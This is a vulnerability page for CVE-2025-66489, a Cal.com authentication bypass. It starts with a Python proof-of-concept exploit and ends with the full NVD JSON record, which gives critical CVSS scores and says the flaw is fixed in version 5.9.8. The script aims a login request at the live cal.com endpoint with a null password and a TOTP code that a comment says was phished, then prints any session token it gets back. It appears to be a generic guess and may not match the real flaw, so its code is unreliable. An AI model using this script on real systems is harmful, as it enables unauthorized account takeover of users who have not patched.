CVE-2025-66489

# CVE-2025-66489 PoC - Cal.com Authentication Bypass import requests import json TARGET_URL = "https://cal.com/api/auth/login" TARGET_EMAIL = "[email protected]" TOTP_CODE = "123456" # Obtained via social engineering/phishing def exploit_auth_bypass(): """ Exploit for CVE-2025-66489: Cal.com TOTP bypass This PoC demonstrates bypassing password verification with valid TOTP """ # Construct malicious request to bypass password verification payload = { "email": TARGET_EMAIL, "totpCode": TOTP_CODE, # Intentionally omit or manipulate password field "password": None } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-66489-PoC)" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) # Check if authentication was successful (bypass worked) if response.status_code == 200: data = response.json() if "sessionToken" in data or "token" in data: print("[+] AUTHENTICATION BYPASS SUCCESSFUL!") print(f"[+] Session Token: {data.get('sessionToken', data.get('token'))}") return data.get('sessionToken') print(f"[-] Exploit failed. Status: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-66489 - Cal.com Authentication Bypass Exploit") print("=" * 60) exploit_auth_bypass()

{"cve": {"id": "CVE-2025-66489", "sourceIdentifier": "[email protected]", "published": "2025-12-03T20:16:27.057", "lastModified": "2026-02-13T16:03:36.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cal.com is open-source scheduling software. Prior to 5.9.8, A flaw in the login credentials provider allows an attacker to bypass password verification when a TOTP code is provided, potentially gaining unauthorized access to user accounts. This issue exists due to problematic conditional logic in the authentication flow. This vulnerability is fixed in 5.9.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-303"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cal:cal.com:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.8", "matchCriteriaId": "97D8E07A-0C42-4AD4-8270-3929F5A4D472"}]}]}], "references": [{"url": "https://github.com/calcom/cal.com/security/advisories/GHSA-9r3w-4j8q-pw98", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}